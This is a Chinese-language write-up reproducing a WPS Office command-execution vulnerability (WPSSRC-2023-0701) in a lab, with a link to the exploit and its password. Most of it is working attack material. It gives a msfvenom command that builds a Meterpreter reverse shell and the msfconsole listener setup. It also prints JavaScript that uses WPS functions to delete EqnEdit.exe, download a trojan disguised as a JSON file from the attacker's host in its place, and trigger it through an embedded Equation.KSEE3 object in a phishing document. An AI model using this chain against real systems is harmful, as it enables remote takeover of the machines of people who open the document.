WPSSRC-2023-0701 WPS office 命令执行漏洞复现

攻击机：kali linux 2023 ip地址为192.168.63.130靶机：暗魂悬剑定制版（win10），wps 11.1.0.15120  ip地址为192.168.63.6EXP下载地址：https://shen.lanzoul.com/iiexD16kbp7g  密码:x1ao漏洞版本WPS下载地址：https://official-package.wpscdn.cn/wps/download/WPS_Setup_15120.exe（以下过程中的ip地址请自行替换）

a.docx --> 钓鱼的doc文档qingbangong.json  --> 服务端存放的windows木马文件，改名为json格式tutorial.html --> 存放在服务端的JavaScript脚本，里面为靶机访问后执行的远程代码start.py -->  启动服务端的脚本

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.63.130 LPORT=4444 -f exe > ./yourfile.exe

sudo msfconsoleuse exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset LHOST 0.0.0.0set LPORT 4444run

//第一个命令，访问http://192.168.63.130/wpsauth,然后更新EqnEdit.exe文件，如果是空的则删除文件window.wps.Office.UploadFileToServer('http://192.168.63.130/wpsauth', window.wps.WpsApplication().Path + "\mui\zh_CN\resource\ksee\EqnEdit.exe", JSON.stringify({bDelLocalFile: true}));
//第二个命令，尝试下载qingbangong.json文件，下载后的文件名为EqnEdit.exewindow.wps.Office.DownloadFileFromServer('http://192.168.63.130/qingbangong.json',window.wps.WpsApplication().Path + "\mui\zh_CN\resource\ksee\EqnEdit.exe");
//第三个命令，在文档寻找名为Equation.KSEE3的对象，并且让它Activate活动起来   for (var i = 0; i < e.Count; i++) {       var f = e.Item(i+1);       var g = f.OLEFormat;       if (g !== null && "Equation.KSEE3" == g.ClassType) {           f.Activate();           break;      }  }

1、首先让wps去更新EqnEdit.exe但是获取的内容是空，则wps会删除掉EqnEdit.exe文件2、通过wps自带的函数，去我们给他的地址下载新的EqnEdit.exe，但这个文件其实是我们写好的木马文件。3、通过对象调用，把文档中的Equation.KSEE3对象激活，让wps去加载EqnEdit.exe导致木马文件被触发。